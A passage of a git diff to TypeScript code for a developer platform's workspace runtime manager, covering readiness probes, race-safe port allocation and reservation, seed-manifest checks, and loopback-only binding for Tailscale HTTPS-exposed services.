   const timeoutSec = resolveWorkspaceRuntimeReadinessTimeoutSec(input.service);
   const intervalMs = Math.max(100, asNumber(readiness.intervalMs, 500));
-  const deadline = Date.now() + timeoutSec * 1000;
+  const deadline = now() + timeoutSec * 1000;
   let lastError = "service did not become ready";
-  while (Date.now() < deadline) {
+  while (now() < deadline) {
+    const probeBudgetMs = Math.max(1, Math.min(RUNTIME_SERVICE_READINESS_PROBE_TIMEOUT_MS, deadline - now()));
     try {
-      const response = await fetch(readinessUrl);
+      const response = await fetchImpl(readinessUrl, { signal: AbortSignal.timeout(probeBudgetMs) });
       if (response.ok) return;
       lastError = `received HTTP ${response.status}`;
     } catch (err) {
       lastError = err instanceof Error ? err.message : String(err);
     }
-    await delay(intervalMs);
+    if (now() >= deadline) break;
+    await delay(Math.min(intervalMs, Math.max(0, deadline - now())));
   }
   throw new Error(`Readiness check failed for ${readinessUrl}: ${lastError}`);
 }
 
+async function waitForAllocatedPortBind(input: {
+  service: Record<string, unknown>;
+  port: number;
+  child: ChildProcess;
+}) {
+  const deadline = Date.now() + resolveWorkspaceRuntimeReadinessTimeoutSec(input.service) * 1000;
+  while (Date.now() < deadline) {
+    if (input.child.exitCode !== null || input.child.signalCode !== null) {
+      throw new Error("service process exited before binding its allocated port");
+    }
+
+    const ownerPid = await readLocalServicePortOwner(input.port);
+    if (ownerPid) {
+      const childPid = input.child.pid ?? null;
+      if (!childPid || !(await isLocalServiceProcessOwnedBy(ownerPid, childPid))) {
+        throw new RuntimeServicePortBindCollision(input.port);
+      }
+      // Require the same launched process group to retain ownership across a stability delay.
+      // Cwd matching alone is insufficient because sibling services can share a workspace.
+      await delay(250);
+      if (input.child.exitCode !== null || input.child.signalCode !== null) {
+        throw new Error("service process exited after losing its allocated port");
+      }
+      const stableOwnerPid = await readLocalServicePortOwner(input.port);
+      if (!stableOwnerPid || !(await isLocalServiceProcessOwnedBy(stableOwnerPid, childPid))) {
+        throw new RuntimeServicePortBindCollision(input.port);
+      }
+      return;
+    }
+
+    // A present listener proves only that some listener appeared. If listener ownership cannot
+    // be attributed to this child after a stability delay, retry instead of accepting a sibling.
+    // The presence read never binds the port, so it cannot steal the port from the child.
+    if (await hasLoopbackPortListener(input.port)) {
+      await delay(250);
+      if (input.child.exitCode !== null || input.child.signalCode !== null) {
+        throw new Error("service process exited after losing its allocated port");
+      }
+      const stableOwnerPid = await readLocalServicePortOwner(input.port);
+      const childPid = input.child.pid ?? null;
+      if (stableOwnerPid && childPid && await isLocalServiceProcessOwnedBy(stableOwnerPid, childPid)) return;
+      throw new RuntimeServicePortBindCollision(input.port);
+    }
+    await delay(50);
+  }
+  throw new Error(`Runtime service did not bind allocated port ${input.port} before timeout`);
+}
+
 function isPaperclipDevRuntimeService(input: { serviceName?: string | null; command?: string | null }) {
   const serviceName = (input.serviceName ?? "").trim().toLowerCase();
   const command = (input.command ?? "").trim().toLowerCase();
@@ -3853,16 +5196,92 @@ function resolveRuntimeServiceHealthUrl(
   return url;
 }
 
+type RuntimeServiceHealthProbeInput = {
+  db?: Db;
+  serviceName?: string | null;
+  command?: string | null;
+  provider?: string | null;
+  port?: number | null;
+  /**
+   * Workspace identity, when the caller knows it. Supplying all three upgrades
+   * the probe from "the port answered with status ok" to the full protected
+   * readiness contract, which is what stops a relocated port or a half-restored
+   * clone from masquerading as healthy (PAP-17572).
+   */
+  cwd?: string | null;
+  executionWorkspaceId?: string | null;
+  companyId?: string | null;
+};
+
+/**
+ * Whether a managed workspace runtime satisfies the *user* readiness contract.
+ *
+ * Returns null when this service is not an identity-resolvable managed workspace
+ * runtime, so non-workspace services keep their existing behavior.
+ *
+ * For a workspace runtime this *replaces* the semantic transport check rather
+ * than adding to it. The probe reads the same `/api/health` response the legacy
+ * check read, so every legacy verdict is already implied: reaching
+ * `readiness_missing` means the response was `200` with `status: ok` (exactly
+ * what the legacy check asserted), and every other rejection means it was not.
+ * Stacking a second request on top would double the latency of every reuse
+ * decision for no extra information.
+ */
+async function probeManagedWorkspaceRuntimeReadiness(
+  healthUrl: string,
+  input: RuntimeServiceHealthProbeInput,
+): Promise<boolean | null> {
+  if (!isPaperclipDevRuntimeService(input)) return null;
+  const identity = resolveManagedWorkspaceIdentity({
+    workspaceCwd: input.cwd ?? null,
+    executionWorkspaceId: input.executionWorkspaceId ?? null,
+    companyId: input.companyId ?? null,
+  });
+  if (!identity) return null;
+
+  const result = await probeManagedWorkspaceReadiness({ healthUrl, identity });
+  const verified = !result.ok
+    ? result
+    : input.db
+      ? await probeManagedWorkspaceHandoffSubjects({ db: input.db, healthUrl, identity })
+      : {
+          ok: false as const,
+          reason: "not_ready" as const,
+          readiness: result.readiness,
+          detail: "control-plane database is unavailable for board identity verification",
+        };
+  if (verified.ok) return true;
+  logManagedWorkspaceReadinessRejection({
+    executionWorkspaceId: identity.executionWorkspaceId,
+    healthUrl,
+    result: verified,
+  });
+  // A guest that does not implement the readiness contract yet is not evidence of
+  // an unhealthy clone; it is only evidence that the contract cannot be checked.
+  return !shouldBlockPublicationOnReadiness(verified);
+}
+
 async function isRuntimeServiceUrlHealthy(
   url: string | null,
-  input?: { serviceName?: string | null; command?: string | null },
+  input?: RuntimeServiceHealthProbeInput,
 ) {
-  if (!url) return true;
-  const healthUrl = resolveRuntimeServiceHealthUrl(url, input);
+  const localProbeUrl = input?.provider === "local_process" && input.port && isPaperclipDevRuntimeService(input)
+    ? `http://127.0.0.1:${input.port}`
+    : null;
+  const probeUrl = localProbeUrl ?? url;
+  if (!probeUrl) return true;
+  const healthUrl = resolveRuntimeServiceHealthUrl(probeUrl, input);
   if (!healthUrl) return false;
+
+  const readiness = await probeManagedWorkspaceRuntimeReadiness(healthUrl, input ?? {});
+  if (readiness !== null) return readiness;
+
   try {
     const response = await fetch(healthUrl, { signal: AbortSignal.timeout(2_000) });
-    return response.ok;
+    if (!response.ok) return false;
+    if (!isPaperclipDevRuntimeService(input ?? {})) return true;
+    const payload = await response.json().catch(() => null) as { status?: unknown } | null;
+    return payload?.status === "ok";
   } catch {
     return false;
   }
@@ -3894,6 +5313,9 @@ function toPersistedWorkspaceRuntimeService(record: RuntimeServiceRecord): typeo
     startedAt: new Date(record.startedAt),
     stoppedAt: record.stoppedAt ? new Date(record.stoppedAt) : null,
     stopPolicy: record.stopPolicy,
+    exposure: record.exposure,
+    exposureHandle: record.exposureHandle,
+    backendUrl: record.backendUrl,
     healthStatus: record.healthStatus,
     updatedAt: new Date(),
   };
@@ -3930,6 +5352,9 @@ async function persistRuntimeServiceRecord(db: Db | undefined, record: RuntimeSe
         startedAt: values.startedAt,
         stoppedAt: values.stoppedAt,
         stopPolicy: values.stopPolicy,
+        exposure: values.exposure,
+        exposureHandle: values.exposureHandle,
+        backendUrl: values.backendUrl,
         healthStatus: values.healthStatus,
         updatedAt: values.updatedAt,
       },
@@ -4066,6 +5491,7 @@ export function normalizeAdapterManagedRuntimeServices(input: {
       stoppedAt: status === "running" || status === "starting" ? null : nowIso,
       stopPolicy: report.stopPolicy ?? null,
       healthStatus,
+      exposure: null,
       reused: false,
     };
   });
@@ -4084,10 +5510,13 @@ type StartLocalRuntimeServiceInput = {
   service: Record<string, unknown>;
   onLog?: (stream: "stdout" | "stderr", chunk: string) => Promise<void>;
   runtimeProvisionCommand?: string | null;
+  runtimeProvisionKind?: RuntimeProvisionKind | null;
   recorder?: WorkspaceOperationRecorder | null;
   provisionCoordinator?: RuntimeProvisionCoordinator;
   preparedProvisioningRecord?: RuntimeServiceRecord | null;
   runtimeServiceId?: string;
+  allowFixedPortFallback?: boolean;
+  excludedPorts?: ReadonlySet<number>;
   reuseKey: string | null;
   scopeType: "project_workspace" | "execution_workspace" | "run" | "agent";
   scopeId: string | null;
@@ -4109,6 +5538,49 @@ function readRuntimeProvisionCommand(config: Record<string, unknown>) {
   ).trim();
 }
 
+const BUILTIN_WORKSPACE_SEED_COMMAND = "bash ./scripts/provision-worktree-runtime.sh";
+
+type RuntimeProvisionKind = "workspace_seed" | "runtime_dependencies";
+
+function readWorkspaceSeedOperationEvidence(worktreePath: string): {
+  verified: boolean;
+  error: string | null;
+  metadata: Record<string, unknown>;
+} {
+  const manifestPath = path.join(worktreePath, ".paperclip", "seed-manifest.json");
+  try {
+    const manifest = JSON.parse(readFileSync(manifestPath, "utf8")) as Record<string, unknown>;
+    const state = typeof manifest.state === "string" ? manifest.state : "unknown";
+    const phase = typeof manifest.phase === "string" ? manifest.phase : null;
+    const verified = isVerifiedWorktreeSeedManifest(manifest);
+    return {
+      verified,
+      error: verified
+        ? null
+        : phase
+          ? `Workspace seed command returned without a verified manifest (state: ${state}, phase: ${phase}).`
+          : `Workspace seed command returned without a verified manifest (state: ${state}).`,
+      metadata: {
+        provisionKind: "workspace_seed",
+        seedState: state,
+        seedPhase: phase,
+        seedFailurePhase: state === "failed" ? phase : null,
+      },
+    };
+  } catch {
+    return {
+      verified: false,
+      error: "Workspace seed command returned without a readable seed manifest.",
+      metadata: {
+        provisionKind: "workspace_seed",
+        seedState: existsSync(manifestPath) ? "unreadable" : "absent",
+        seedPhase: null,
+        seedFailurePhase: "seed_manifest_unreadable",
+      },
+    };
+  }
+}
+
 export function resolveRuntimeProvisionCommand(input: {
   config: Record<string, unknown>;
   workspace: RealizedExecutionWorkspace;
@@ -4119,22 +5591,32 @@ export function resolveRuntimeProvisionCommand(input: {
   if (input.workspace.strategy !== "git_worktree") return "";
 
   const stateDir = path.join(input.workspace.cwd, ".paperclip");
-  const pendingMarker = path.join(stateDir, "seed-pending");
-  const completeMarker = path.join(stateDir, "seed-complete");
+  const manifestPath = path.join(stateDir, "seed-manifest.json");
   const provisionScript = path.join(
     input.workspace.baseCwd,
     "scripts",
     "provision-worktree-runtime.sh",
   );
-  if (
-    !existsSync(pendingMarker)
-    || existsSync(completeMarker)
-    || !existsSync(provisionScript)
-  ) {
+  const needsSeed = !existsSync(manifestPath) || !hasVerifiedWorktreeSeedManifest(manifestPath);
+  if (!needsSeed || !existsSync(provisionScript)) {
     return "";
   }
 
-  return "bash ./scripts/provision-worktree-runtime.sh";
+  return BUILTIN_WORKSPACE_SEED_COMMAND;
+}
+
+function resolveRuntimeProvision(input: {
+  config: Record<string, unknown>;
+  workspace: RealizedExecutionWorkspace;
+}): { command: string; kind: RuntimeProvisionKind | null } {
+  const command = resolveRuntimeProvisionCommand(input);
+  if (!command) return { command, kind: null };
+  return {
+    command,
+    kind: readRuntimeProvisionCommand(input.config)
+      ? "runtime_dependencies"
+      : "workspace_seed",
+  };
 }
 
 function runtimeProvisionWorkspaceKey(input: StartLocalRuntimeServiceInput) {
@@ -4165,8 +5647,9 @@ async function runRuntimeProvisionWithWorkspaceMutex(input: StartLocalRuntimeSer
       })
     : null);
   const resolvedCommand = resolveRepoManagedWorkspaceCommand(command, input.workspace.baseCwd);
+  const workspaceSeed = input.runtimeProvisionKind === "workspace_seed";
   const promise = recordWorkspaceCommandOperation(recorder, {
-    phase: "workspace_runtime_provision",
+    phase: workspaceSeed ? "workspace_seed" : "workspace_runtime_provision",
     command,
     resolvedCommand,
     cwd: input.workspace.cwd,
@@ -4179,14 +5662,19 @@ async function runRuntimeProvisionWithWorkspaceMutex(input: StartLocalRuntimeSer
       agent: input.agent,
       created: input.workspace.created,
     }),
-    label: `Runtime provision command "${command}"`,
+    label: workspaceSeed
+      ? `Workspace seed command "${command}"`
+      : `Runtime provision command "${command}"`,
     metadata: {
       executionWorkspaceId: input.executionWorkspaceId ?? null,
       projectWorkspaceId: input.workspace.workspaceId,
       serviceName: asString(input.service.name, "service"),
+      provisionKind: workspaceSeed ? "workspace_seed" : "runtime_dependencies",
       resolvedCommand: resolvedCommand === command ? null : resolvedCommand,
     },
-    successMessage: `Provisioned runtime dependencies for ${input.workspace.cwd}\n`,
+    successMessage: workspaceSeed
+      ? `Verified the workspace database seed for ${input.workspace.cwd}\n`
+      : `Provisioned runtime dependencies for ${input.workspace.cwd}\n`,
     onLog: input.onLog,
   }).then(() => undefined);
 
@@ -4232,6 +5720,7 @@ function createProvisioningRuntimeServiceRecord(
     stoppedAt: null,
     stopPolicy: parseObject(input.service.stopPolicy),
     healthStatus: "unknown",
+    exposure: null,
     reused: false,
     db: input.db,
     child: null,
@@ -4241,6 +5730,9 @@ function createProvisioningRuntimeServiceRecord(
     serviceKey: `runtime-provision:${runtimeProvisionWorkspaceKey(input)}:${id}`,
     profileKind: "workspace-runtime",
     processGroupId: null,
+    exposureHandle: null,
+    backendUrl: null,
+    exposureConfig: null,
   };
 }
 
@@ -4258,14 +5750,41 @@ async function spawnLocalRuntimeService(input: StartLocalRuntimeServiceInput): P
   });
   const serviceName = identity.serviceName;
   const lifecycle = identity.lifecycle;
-  const command = identity.command;
-  if (!command) throw new Error(`Runtime service "${serviceName}" is missing command`);
+  const declaredCommand = identity.command;
+  if (!declaredCommand) throw new Error(`Runtime service "${serviceName}" is missing command`);
   const portConfig = parseObject(input.service.port);
   const envConfig = identity.envConfig;
   const envFingerprint = identity.envFingerprint;
   const serviceIdentityFingerprint = input.reuseKey ?? envFingerprint;
   const explicitPort = identity.explicitPort;
   const identityPort = identity.identityPort;
+  const resolvedExposure = await resolveRuntimeServiceExposure({
+    service: input.service,
+    serviceName,
+    command: declaredCommand,
+  });
+  const exposureConfig = resolvedExposure?.config ?? null;
+  // An exposed listener MUST be loopback-only or the broker denies it. Env vars
+  // alone cannot guarantee that: the process that has to honour them is the
+  // *guest checkout's* dev runner, and one from before managed exposure existed
+  // overwrites PAPERCLIP_BIND from its own `--bind` argv and deletes
+  // PAPERCLIP_BIND_HOST — which is exactly how a branch pinned at plain master
+  // bound 0.0.0.0 and failed every start (PAP-17256). argv is honoured by every
+  // dev-runner version, so put the loopback bind there.
+  //
+  // Scoped by `forceLoopbackBindInCommand` to commands that actually parse these
+  // flags: `--bind` means something else entirely to an unrelated service (the
+  // HTTPS probe canaries pass it to `python3 -m http.server`), and appending
+  // flags a command cannot parse would make it exit on startup.
+  const command = exposureConfig ? forceLoopbackBindInCommand(declaredCommand) : declaredCommand;
+  const portType = asString(portConfig.type, "");
+  const canAllocateFixedPort = Boolean(
+    !exposureConfig
+    && input.allowFixedPortFallback
+    && input.db
+    && input.executionWorkspaceId
+    && explicitPort > 0,
+  );
   const stoppedReuseCandidate = await findStoppedRuntimeServiceReuseCandidate({
     db: input.db,
     companyId: input.agent.companyId,
@@ -4276,17 +5795,151 @@ async function spawnLocalRuntimeService(input: StartLocalRuntimeServiceInput): P
     scopeType: input.scopeType,
     scopeId: input.scopeId,
   });
-  let reusableStoppedPort: number | null = null;
-  if (asString(portConfig.type, "") === "auto" && stoppedReuseCandidate?.port) {
-    const ownerPid = await readLocalServicePortOwner(stoppedReuseCandidate.port);
-    reusableStoppedPort = ownerPid ? null : stoppedReuseCandidate.port;
+  let fixedPortRegistryMatch = false;
+  if (!exposureConfig && canAllocateFixedPort && identityPort) {
+    const identityTemplateData = buildTemplateData({
+      workspace: input.workspace,
+      agent: input.agent,
+      issue: input.issue,
+      adapterEnv: input.adapterEnv,
+      port: identityPort,
+    });
+    const identityExpose = parseObject(input.service.expose);
+    const identityReadiness = parseObject(input.service.readiness);
+    const identityUrlTemplate =
+      asString(identityExpose.urlTemplate, "")
+      || asString(identityReadiness.urlTemplate, "");
+    const identityBackendUrl = identityUrlTemplate
+      ? renderTemplate(identityUrlTemplate, identityTemplateData)
+      : null;
+    const identityServiceKey = createLocalServiceKey({
+      profileKind: "workspace-runtime",
+      serviceName,
+      cwd: identity.serviceCwd,
+      command,
+      envFingerprint: serviceIdentityFingerprint,
+      port: identityPort,
+      scope: {
+        scopeType: input.scopeType,
+        scopeId: input.scopeId,
+        executionWorkspaceId: input.executionWorkspaceId ?? null,
+        reuseKey: input.reuseKey,
+      },
+    });
+    fixedPortRegistryMatch = Boolean(await findAdoptableLocalService({
+      serviceKey: identityServiceKey,
+      profileKind: "workspace-runtime",
+      serviceName,
+      command,
+      cwd: identity.serviceCwd,
+      envFingerprint: serviceIdentityFingerprint,
+      port: identityPort,
+      url: identityBackendUrl,
+    }));
+  }
+  const runtimeId = input.runtimeServiceId ?? stoppedReuseCandidate?.id ?? randomUUID();
+  // An exposed runtime always takes its port from the dedicated broker range, so
+  // a configured or previously used port is a *preference*, not a constraint. It
+  // is honored when it is already an allowlisted app port whose HMR companion is
+  // free — that keeps a restart on the same port and keeps a backfilled service
+  // stable across deploys — and quietly relocated when it is not, which is the
+  // only way a legacy pinned port (the Paperclip App template's 45439) can be
+  // published at all. If the backend then fails to listen where we allocated,
+  // the broker's /proc ownership proof refuses the mapping and the start fails
+  // closed; it never falls back to HTTP.
+  const reservedExposure = exposureConfig
+    ? await allocateAndReserveExposure({
+        db: input.db,
+        companyId: input.agent.companyId,
+        runtimeId,
+        config: exposureConfig,
+        claimant: {
+          runtimeServiceId: runtimeId,
+          executionWorkspaceId: input.executionWorkspaceId ?? null,
+          projectWorkspaceId: input.workspace.workspaceId,
+          issueId: input.issue?.id ?? null,
+        },
+        preferredAppPort: stoppedReuseCandidate?.port ?? (explicitPort > 0 ? explicitPort : null),
+      })
+    : null;
+  // Loopback port this start claimed in-process for its own duration (PAP-17249). A bare
+  // `listen(0)` probe is closed before the child binds, so the kernel is free to hand the same
+  // candidate to a sibling start; holding the claim until the child owns the port — or until the
+  // start reaches a terminal state — is what keeps two concurrent lanes distinct. Exposed
+  // runtimes carry no in-process claim: their port pair is held by the broker reservation.
+  let reservedPort: number | null = null;
+  let port: number | null = reservedExposure?.appPort ?? null;
+  if (!reservedExposure && portType === "auto") {
+    if (
+      stoppedReuseCandidate?.port
+      && !input.excludedPorts?.has(stoppedReuseCandidate.port)
+      // Reserving the reuse candidate keeps two concurrent starts of the same stopped service
+      // from both deciding the old port is free.
+      && reservePortIfFree(stoppedReuseCandidate.port)
+    ) {
+      if (await canBindRuntimePort(stoppedReuseCandidate.port)) {
+        port = stoppedReuseCandidate.port;
+        reservedPort = stoppedReuseCandidate.port;
+      } else {
+        releasePortReservation(stoppedReuseCandidate.port);
+      }
+    }
+    for (let attempt = 0; port === null && attempt < WORKSPACE_RUNTIME_PORT_ALLOCATION_ATTEMPTS; attempt += 1) {
+      // Reserves its candidate in-process and re-checks it for a live owner before returning.
+      const candidate = await allocateRuntimeServicePort();
+      if (input.excludedPorts?.has(candidate)) {
+        releasePortReservation(candidate);
+        continue;
+      }
+      port = candidate;
+      reservedPort = candidate;
+    }
+    if (port === null) {
+      throw conflict("No safe automatically allocated runtime service port is available.", {
+        code: "workspace_runtime_port_allocation_exhausted",
+        attemptedPortCount: WORKSPACE_RUNTIME_PORT_ALLOCATION_ATTEMPTS,
+        remediation: "Retry the start or configure a different runtime service port.",
+      });
+    }
+  } else if (!reservedExposure && canAllocateFixedPort && fixedPortRegistryMatch) {
+    port = explicitPort;
+  } else if (!reservedExposure && canAllocateFixedPort) {
+    port = await allocateIsolatedWorkspacePort({
+      db: input.db,
+      companyId: input.agent.companyId,
+      executionWorkspaceId: input.executionWorkspaceId!,
+      preferredPort: explicitPort,
+      stoppedPort: stoppedReuseCandidate?.port ?? null,
+      excludedPorts: input.excludedPorts ?? new Set<number>(),
+    });
+    // The bounded fixed-port scan reserves the port it hands back for the same reason.
+    reservedPort = port;
+  } else if (!reservedExposure) {
+    port = explicitPort > 0 ? explicitPort : null;
+  }
+  let exposureHostname: string | null = null;
+  if (reservedExposure) {
+    try {
+      exposureHostname = await workspaceRuntimeExposureDeps.resolveHostname();
+      reservedExposure.status.hostname = exposureHostname;
+      reservedExposure.status.updatedAt = new Date().toISOString();
+    } catch {
+      await workspaceRuntimeExposureDeps.broker
+        .remove(runtimeId, reservedExposure.handle)
+        .catch(() => undefined);
+      // The reservation deliberately keeps the winning pair's in-process claim for
+      // the caller to release on stop/teardown. No runtime record exists yet, so
+      // that teardown path can never run for this pair — releasing the broker
+      // reservation alone would leave the claim held. A hostname outage would then
+      // burn one pair per attempt, and a retry storm inside the claim TTL would
+      // report the range exhausted rather than the real cause.
+      exposurePortPairClaims.release({
+        appPort: reservedExposure.appPort,
+        hmrPort: reservedExposure.hmrPort,
+      });
+      throw new Error("HTTPS exposure failed: Tailscale MagicDNS hostname unavailable");
+    }
   }
-  const port =
-    asString(portConfig.type, "") === "auto"
-      ? (reusableStoppedPort ?? await allocatePort())
-      : explicitPort > 0
-        ? explicitPort
-        : null;
   const templateData = buildTemplateData({
     workspace: input.workspace,
     agent: input.agent,
@@ -4310,12 +5963,47 @@ async function spawnLocalRuntimeService(input: StartLocalRuntimeServiceInput): P
     env[portEnvKey] = String(port);
   }
 
+  // Per-workspace handoff key, readiness token, and workspace id. Injected for
+  // the Paperclip dev runtime whether or not it is HTTPS-exposed, because the
+  // password-independent login handoff and the protected readiness probe are
+  // both needed for a plain-HTTP loopback workspace too (PAP-17572).
+  const managedWorkspaceIdentity = isPaperclipDevRuntimeService({ serviceName, command })
+    ? resolveManagedWorkspaceIdentity({
+        workspaceCwd: input.workspace.cwd,
+        executionWorkspaceId: input.executionWorkspaceId ?? null,
+        companyId: input.agent.companyId,
+      })
+    : null;
+  if (managedWorkspaceIdentity) {
+    Object.assign(env, buildManagedWorkspaceGuestEnv(managedWorkspaceIdentity));
+  }
+
+  if (exposureConfig) {
+    // Paperclip dev-runtime-specific hardening. Other managed processes are
+    // still rejected by the broker unless /proc proves loopback-only listeners.
+    //
+    // Three independent layers force the loopback bind, because a guest checkout
+    // can be arbitrarily old (PAP-17256): the `--bind loopback` argv
+    // added above, these env vars for a runner that reads them, and HOST for one
+    // old enough to ignore both and infer its bind mode from HOST alone.
+    env.PAPERCLIP_BIND = RUNTIME_EXPOSURE_BIND_MODE;
+    env.PAPERCLIP_BIND_HOST = RUNTIME_EXPOSURE_BIND_HOST;
+    env.HOST = RUNTIME_EXPOSURE_BIND_HOST;
+    env.PAPERCLIP_VITE_HMR_PROTOCOL = "wss";
+    env.PAPERCLIP_MANAGED_RUNTIME_EXPOSURE = "tailscale_https";
+    env.PAPERCLIP_ALLOWED_HOSTNAMES = exposureHostname!;
+    env.PAPERCLIP_AUTH_BASE_URL_MODE = "explicit";
+    env.PAPERCLIP_AUTH_PUBLIC_BASE_URL = `https://${exposureHostname}:${port}`;
+    env.PAPERCLIP_PUBLIC_URL = `https://${exposureHostname}:${port}`;
+  }
+
   const expose = parseObject(input.service.expose);
   const readiness = parseObject(input.service.readiness);
   const urlTemplate =
     asString(expose.urlTemplate, "") ||
     asString(readiness.urlTemplate, "");
-  const url = urlTemplate ? renderTemplate(urlTemplate, templateData) : null;
+  const backendUrl = urlTemplate ? renderTemplate(urlTemplate, templateData) : null;
+  let url = exposureConfig ? null : backendUrl;
   const readinessUrlTemplate = asString(readiness.urlTemplate, "");
   const readinessUrl = readinessUrlTemplate ? renderTemplate(readinessUrlTemplate, templateData) : null;
   const stopPolicy = parseObject(input.service.stopPolicy);
@@ -4333,7 +6021,7 @@ async function spawnLocalRuntimeService(input: StartLocalRuntimeServiceInput): P
       reuseKey: input.reuseKey,
     },
   });
-  const adoptedRecord = await findAdoptableLocalService({
+  const adoptedRecord = exposureConfig ? null : await findAdoptableLocalService({
     serviceKey,
     profileKind: "workspace-runtime",
     serviceName,
@@ -4341,14 +6029,22 @@ async function spawnLocalRuntimeService(input: StartLocalRuntimeServiceInput): P
     cwd: serviceCwd,
     envFingerprint: serviceIdentityFingerprint,
     port: port ?? identityPort,
-    url,
+    url: backendUrl,
   });
   if (adoptedRecord) {
-    const adoptedUrl = adoptedRecord.url ?? url;
-    if (!(await isRuntimeServiceUrlHealthy(adoptedUrl, { serviceName, command }))) {
+    const adoptedUrl = adoptedRecord.url ?? backendUrl;
+    if (!(await isRuntimeServiceUrlHealthy(adoptedUrl, {
+      db: input.db,
+      serviceName,
+      command,
+      cwd: input.workspace.cwd,
+      executionWorkspaceId: input.executionWorkspaceId ?? null,
+      companyId: input.agent.companyId,
+    }))) {
       await terminateLocalService(adoptedRecord);
       await removeLocalServiceRegistryRecord(adoptedRecord.serviceKey);
     } else {
+      releasePortReservation(reservedPort);
       return {
         record: {
           id: adoptedRecord.runtimeServiceId ?? randomUUID(),
@@ -4376,6 +6072,7 @@ async function spawnLocalRuntimeService(input: StartLocalRuntimeServiceInput): P
           stoppedAt: null,
           stopPolicy,
           healthStatus: "healthy",
+          exposure: null,
           reused: true,
           db: input.db,
           child: null,
@@ -4385,62 +6082,59 @@ async function spawnLocalRuntimeService(input: StartLocalRuntimeServiceInput): P
           serviceKey,
           profileKind: "workspace-runtime",
           processGroupId: adoptedRecord.processGroupId ?? null,
+          exposureHandle: null,
+          backendUrl: adoptedUrl,
+          exposureConfig: null,
         },
         readiness: Promise.resolve(),
       };
     }
   }
-  if (identityPort) {
-      const ownerPid = await readLocalServicePortOwner(identityPort);
+  // A pinned port is only worth a conflict check when the service will actually
+  // bind it. Under HTTPS exposure the port comes from the broker's dedicated
+  // range instead, and both ports in that pair were already probed free before
+  // the lease was taken — so checking the pinned port here would reject a
+  // legacy `port: 45439` service purely because the pre-backfill instance still
+  // holds 45439, which is exactly the workspace this feature has to upgrade.
+  const conflictPort = reservedExposure ? null : port;
+  if (conflictPort) {
+    const ownerPid = await readLocalServicePortOwner(conflictPort);
     if (ownerPid) {
+      if (canAllocateFixedPort || portType === "auto") {
+        throw new RuntimeServicePortBindCollision(conflictPort);
+      }
       const ownerCwd = await readLocalServiceProcessCwd(ownerPid);
       const ownerIsInWorkspace = ownerCwd
         ? await isLocalServiceProcessInWorkspace(ownerCwd, serviceCwd)
         : null;
       const ownerDescription = ownerCwd ? `pid ${ownerPid} (cwd: ${ownerCwd})` : `pid ${ownerPid} (cwd unavailable)`;
+      releasePortReservation(reservedPort);
       if (ownerIsInWorkspace === false) {
         throw new Error(
-          `Runtime service "${serviceName}" could not start because port ${identityPort} has a cross-workspace port conflict with ${ownerDescription}; requested workspace: ${serviceCwd}. Stop the other service or configure a different port.`,
+          `Runtime service "${serviceName}" could not start because port ${conflictPort} has a cross-workspace port conflict with ${ownerDescription}; requested workspace: ${serviceCwd}. Stop the other service or configure a different port.`,
         );
       }
       throw new Error(
-        `Runtime service "${serviceName}" could not start because port ${identityPort} is already in use by ${ownerDescription}`,
+        `Runtime service "${serviceName}" could not start because port ${conflictPort} is already in use by ${ownerDescription}`,
+      );
+    }
+    // A configured port that is free right now can still be taken by a sibling workspace that
+    // is mid-start. Claiming it in-process makes the loser fail terminally here instead of
+    // silently racing to bind and then hanging on a readiness probe it can never satisfy.
+    // `conflictPort !== reservedPort` guards the port this start allocated for itself: we
+    // must not fail a start by colliding with our own reservation.
+    if (!claimRuntimeServiceBindPort(conflictPort, reservedPort)) {
+      releasePortReservation(reservedPort);
+      throw new Error(
+        `Runtime service "${serviceName}" could not start because configured port ${conflictPort} is already being claimed by another managed start in this instance. Retry once that start settles, or configure a different port.`,
       );
     }
   }
-
-  await ensureServerWorkspaceLinksCurrent(serviceCwd, {
-    onLog: input.onLog,
-  });
-
-  const shell = resolveShell();
-  const child = spawn(shell, ["-lc", command], {
-    cwd: serviceCwd,
-    env,
-    detached: process.platform !== "win32",
-    stdio: ["ignore", "pipe", "pipe"],
-  });
-  const spawnErrorPromise = new Promise<never>((_, reject) => {
-    child.once("error", (err) => {
-      reject(err);
-    });
-  });
-  let stderrExcerpt = "";
-  let stdoutExcerpt = "";
-  child.stdout?.on("data", async (chunk) => {
-    const text = String(chunk);
-    stdoutExcerpt = (stdoutExcerpt + text).slice(-4096);
-    if (input.onLog) await input.onLog("stdout", `[service:${serviceName}] ${text}`);
-  });
-  child.stderr?.on("data", async (chunk) => {
-    const text = String(chunk);
-    stderrExcerpt = (stderrExcerpt + text).slice(-4096);
-    if (input.onLog) await input.onLog("stderr", `[service:${serviceName}] ${text}`);
-  });
+  const claimedIdentityPort = conflictPort && conflictPort !== reservedPort ? conflictPort : null;
 
   const nowIso = new Date().toISOString();
   const record: RuntimeServiceRecord = {
-    id: input.runtimeServiceId ?? stoppedReuseCandidate?.id ?? randomUUID(),
+    id: runtimeId,
     companyId: input.agent.companyId,
     projectId: input.workspace.projectId,
     projectWorkspaceId: input.workspace.workspaceId,
@@ -4457,7 +6151,7 @@ async function spawnLocalRuntimeService(input: StartLocalRuntimeServiceInput): P
     port,
     url,
     provider: "local_process",
-    providerRef: child.pid ? String(child.pid) : null,
+    providerRef: null,
     ownerAgentId: input.agent.id ?? null,
     startedByRunId,
     lastUsedAt: nowIso,
@@ -4465,15 +6159,83 @@ async function spawnLocalRuntimeService(input: StartLocalRuntimeServiceInput): P
     stoppedAt: null,
     stopPolicy,
     healthStatus: "unknown",
+    exposure: reservedExposure?.status ?? null,
     reused: false,
     db: input.db,
-    child,
+    child: null,
     leaseRunIds: leaseRunId ? new Set([leaseRunId]) : new Set(),
     idleTimer: null,
     envFingerprint,
     serviceKey,
     profileKind: "workspace-runtime",
-    processGroupId: child.pid ?? null,
+    processGroupId: null,
+    exposureHandle: reservedExposure?.handle ?? null,
+    backendUrl,
+    exposureConfig,
+  };
+  if (reservedExposure) {
+    // The broker reservation and its unguessable handle must be durable before
+    // the child can bind, so a server crash cannot lose cleanup authority.
+    try {
+      await persistRuntimeServiceRecord(input.db, record);
+    } catch (error) {
+      await cleanupRecordExposure(record);
+      throw error;
+    }
+  }
+
+  try {
+    await ensureServerWorkspaceLinksCurrent(serviceCwd, {
+      onLog: input.onLog,
+    });
+  } catch (error) {
+    releasePortReservation(reservedPort);
+    releasePortReservation(claimedIdentityPort);
+    if (reservedExposure) await cleanupRecordExposure(record);
+    throw error;
+  }
+
+  const shell = resolveShell();
+  const serviceLog = await openLocalServiceLogFile(serviceKey);
+  let child: ChildProcess;
+  try {
+    child = spawn(shell, ["-lc", command], {
